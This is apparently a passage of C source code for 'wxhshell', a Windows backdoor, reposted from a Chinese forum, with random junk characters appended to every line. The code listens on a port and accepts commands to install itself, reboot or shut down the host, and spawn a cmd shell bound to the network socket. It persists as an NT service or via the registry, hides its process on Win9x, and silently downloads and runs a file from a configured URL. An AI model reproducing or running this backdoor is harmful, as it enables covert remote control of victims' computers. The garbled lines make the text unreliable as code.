    switch(cmd[0]) { z`esst\aV  
  rJKac"{  
  // 帮助 ~`c(7  
  case '?': { T:=ST3#m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #ni:Bwtl{  
    break; G5,g$yNs  
  } ?ytY8`PC  
  // 安装 wT>~7$=L{  
  case 'i': {  U!O"f  
    if(Install()) K'\Jnn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T]UrKj/iF  
    else ,+GS.]8<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j{&$_  
    break; f~t5[D(\Q,  
    } tTE]j-uT  
  // 卸载 $eiW2@  
  case 'r': { yE{\]j| Zf  
    if(Uninstall()) 20Z=_},  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d\-v+'d*+  
    else E/@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?DgeKA"A  
    break; F_.1^XM  
    } des.TSZ  
  // 显示 wxhshell 所在路径 9!?Ywc>0#  
  case 'p': { 7xh91EU:4  
    char svExeFile[MAX_PATH]; {!>'# F^e  
    strcpy(svExeFile,"\n\r"); Dn[uzY6  
      strcat(svExeFile,ExeFile); t>}(` 0  
        send(wsh,svExeFile,strlen(svExeFile),0); VOGx  
    break; z2~\ b3G  
    } P{+,?X\  
  // 重启  WJTc/  
  case 'b': { BT^HlW<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y&L Lx[8 ^  
    if(Boot(REBOOT)) Fk`|?pQm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a^g}Z7D'T  
    else { ^y.|KA3[  
    closesocket(wsh); !S#K6:  
    ExitThread(0); L};P*{q2Z  
    } L Z}m;  
    break; p\22_m_wd  
    } 5$&',v(  
  // 关机 utU ;M*  
  case 'd': { zK>}x=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  h@CP  
    if(Boot(SHUTDOWN)) aIo%~w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +FH@|~^O  
    else { Jp"[` m  
    closesocket(wsh); Vy7 )_D  
    ExitThread(0); 45Lzq6  
    } }6"l`$=Ev  
    break; FBeo@  
    } Nnq r{ub  
  // 获取shell _%KRZx}  
  case 's': { _sAcvKH  
    CmdShell(wsh); p]rV\,Yss  
    closesocket(wsh); {RN-rF3w  
    ExitThread(0); sB0m^Y'  
    break; JH._/I  
  } 3}5Ya\x  
  // 退出 s0m k<>z  
  case 'x': { /HVxZ2bar  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dlH&8  
    CloseIt(wsh); N{H#j6QW  
    break; #_Z)2ESX  
    } 8Om4G]*|,  
  // 离开 XwIhD  
  case 'q': { %^l&:\ hy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R>hL.+l.  
    closesocket(wsh); k>F>y|m  
    WSACleanup(); } 8[  
    exit(1); /^$n&gI  
    break; PQ2rNY6  
        } v;#0h7qd  
  } bFVY&  
  } qRL45[ K  
MIY`"h0*  
  // 提示信息 -oi@1g @  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,z~"Mst  
} NAX`y2z  
  } !NMiWG4R  
D< 0))r  
  return; VV"w{#XKw  
} DD}YbuO7  
#xw3a<z?u  
// shell模块句柄 K=> j+a5$  
int CmdShell(SOCKET sock) kG u{[Rh  
{ <07]w$m/  
STARTUPINFO si; Mtc  -  
ZeroMemory(&si,sizeof(si)); ]fSpG\yU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e_}tK1XY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q@[(0R1  
PROCESS_INFORMATION ProcessInfo; U~w8yMxX  
char cmdline[]="cmd"; KG GJ\r6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $!^C|,CS  
  return 0; +5Ju `Z  
} NH4T*R)Vz  
U6#9W}CE  
// 自身启动模式 %WPy c%I  
int StartFromService(void) ;Kh?iq n^  
{ B & ]GGy  
typedef struct n7.85p@ua  
{ vs@u*4.Ut<  
  DWORD ExitStatus; q+ `QiPj  
  DWORD PebBaseAddress; qW S"I+o,S  
  DWORD AffinityMask; : . PRM+  
  DWORD BasePriority; [WI'oy  
  ULONG UniqueProcessId; EUW>8kw0  
  ULONG InheritedFromUniqueProcessId; ccT <UIpq  
}   PROCESS_BASIC_INFORMATION; wli H3vA_  
/4;Sxx-  
PROCNTQSIP NtQueryInformationProcess; ji<(}d~L*  
:mhO/Bx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K5F;/ KR"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'n}]  
6?a z  
  HANDLE             hProcess; .yHi"ss3  
  PROCESS_BASIC_INFORMATION pbi; =t %;mi,M  
Ii!{\p!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3R%yKa#  
  if(NULL == hInst ) return 0; i:Gyi([C  
~=9S AJr]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Qe_C^ (P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rONz*ly|i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WLiFD.  
^fE8|/]nG9  
  if (!NtQueryInformationProcess) return 0; IY|`$sHb  
`VF_rC[?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yb,$UT"]  
  if(!hProcess) return 0; 6{I6'+K~  
;U#=H9_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^oR qu  
4'td6F  
  CloseHandle(hProcess); Awr(}){  
@"H7Q1Hg!*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7~);,#[ky  
if(hProcess==NULL) return 0; Eqi;m,)  
pG22Nx  
HMODULE hMod; sFHqLG{/  
char procName[255]; 'uF-}_ |  
unsigned long cbNeeded; n@6vCdk.  
={51fr/C%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7=s0Pm  
#CcEI  
  CloseHandle(hProcess); r;p@T8k  
o#WECs>  
if(strstr(procName,"services")) return 1; // 以服务启动 (M<l}pl)  
gf}*}8D  
  return 0; // 注册表启动 ;@ G^eQ  
} egH,7f(yP  
Y#+Ws0wN  
// 主模块 S(/ ^_Y  
int StartWxhshell(LPSTR lpCmdLine) +VL:O]`DJ  
{ [("2=Uz;  
  SOCKET wsl; .m.Ga|;  
BOOL val=TRUE; wc-v]$DW  
  int port=0; Ai)>ot  
  struct sockaddr_in door; H?,Dv>.#*  
Z?'?|vM  
  if(wscfg.ws_autoins) Install(); ,/kZt!  
g~U<0+&yw%  
port=atoi(lpCmdLine); Nw(hN+_u  
Qg0%r bE  
if(port<=0) port=wscfg.ws_port; (" +clb`  
{,1>(  
  WSADATA data; 2vhP'?;K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HD3WsIim*  
Z!*6;[]SfG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~NLthZ (O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?zfm"o  
  door.sin_family = AF_INET; &PMfAo^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gk;hpO  
  door.sin_port = htons(port); QO>';ul5  
7]ySj<1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aX*9T8H/  
closesocket(wsl); `\'V]9wS  
return 1; PHJHW#sv  
} C6Cr+TScH  
G6l C[eK  
  if(listen(wsl,2) == INVALID_SOCKET) { Xk1uCVUe5  
closesocket(wsl); #l@P}sHXq  
return 1; $zF%F.rln  
} (F9e.QyWb  
  Wxhshell(wsl); D!ASO]  
  WSACleanup(); #,97 ]  
R_>.O?U4  
return 0; hwA&SS  
KP 6vb@(6  
} |Y?<58[!)  
5<Uh2c  
// 以NT服务方式启动 W*Ow%$%2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %I{>H%CjE  
{ QcJC:sP\>  
DWORD   status = 0; C%{2 sMJz  
  DWORD   specificError = 0xfffffff; 78 ]Kv^l^_  
;?q}98-2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; < Wp)Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !aKu9SR^e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |MagK$o  
  serviceStatus.dwWin32ExitCode     = 0; kR:kn:  
  serviceStatus.dwServiceSpecificExitCode = 0;  \m+=|  
  serviceStatus.dwCheckPoint       = 0; >P:U9 b  
  serviceStatus.dwWaitHint       = 0; |QMmF"0  
`& '{R<cL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #9 Fk&Lx  
  if (hServiceStatusHandle==0) return; m)  rVzL  
!m%'aQHH(  
status = GetLastError(); NHe)$%a=H  
  if (status!=NO_ERROR) byMy- v;  
{ )l.uj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *j,bI Y&se  
    serviceStatus.dwCheckPoint       = 0; )=`DEbT  
    serviceStatus.dwWaitHint       = 0; o`!#io  
    serviceStatus.dwWin32ExitCode     = status; |"S#uJW  
    serviceStatus.dwServiceSpecificExitCode = specificError; >Vg [ A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {`e-%<  
    return; 7a^D[f0V  
  } `M{Ne:J  
t\'MB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [@JK|50|K  
  serviceStatus.dwCheckPoint       = 0; d{t@+}0.u  
  serviceStatus.dwWaitHint       = 0; pzoh9}bue  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]9)iBvQlj  
} #sBL E  
0 f$96sl  
// 处理NT服务事件,比如:启动、停止 G 9 (*F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JtsXMZz  
{ l'@!'  
switch(fdwControl) >)G[ww[  
{ Yl lZ5<}  
case SERVICE_CONTROL_STOP: MkjB4:"  
  serviceStatus.dwWin32ExitCode = 0; "'@D\e}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7Z~JuTIZ  
  serviceStatus.dwCheckPoint   = 0;  "\T-r2  
  serviceStatus.dwWaitHint     = 0; RgJbM\`} ?  
  { q5JQx**g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fA]sPh4Uag  
  } Q672iR\#)  
  return; Bha("kG  
case SERVICE_CONTROL_PAUSE: ^IyQzBOj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .'Q*_};W  
  break; GQk/ G0*&  
case SERVICE_CONTROL_CONTINUE: WTM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eThFRU3 F  
  break;  7U1 M;@y  
case SERVICE_CONTROL_INTERROGATE: ,4`Vl<6  
  break; Y .cjEeL@  
}; g/ShC8@=u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9 nY|S{L  
} J~4mp\4b  
rx 74v!  
// 标准应用程序主函数 'DNxc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kB=B?V~#  
{ >)='.aR<  
H&%oHyK  
// 获取操作系统版本 TwVkI<e0s?  
OsIsNt=GetOsVer(); 8_G6X\q};  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O[eU{ ;P  
X }i2qv  
  // 从命令行安装 KdYR?rY  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9I2&Vx=DSt  
0#Pa;(  
  // 下载执行文件 .VNz( s  
if(wscfg.ws_downexe) { , V,Q(!$F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TBQ68o  
  WinExec(wscfg.ws_filenam,SW_HIDE); qV idtSb  
} zPybP E8  
j~V $q/7S  
if(!OsIsNt) { RticGQy&5  
// 如果时win9x,隐藏进程并且设置为注册表启动 5h^BXX|Y*  
HideProc(); 1?^ P=^8   
StartWxhshell(lpCmdLine); Ejr'Yzl3_  
}  H!hd0.  
else Bq HqS  
  if(StartFromService()) | 4}Y:d  
  // 以服务方式启动 1aV32oK  
  StartServiceCtrlDispatcher(DispatchTable); iGz*4^ %  
else hmOGteAf-  
  // 普通方式启动 FG{,l=Z0  
  StartWxhshell(lpCmdLine); xV`l6QS  
4 qY  
return 0; ` - P1Y  
}
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只看该作者 1 发表于: 2006-10-10
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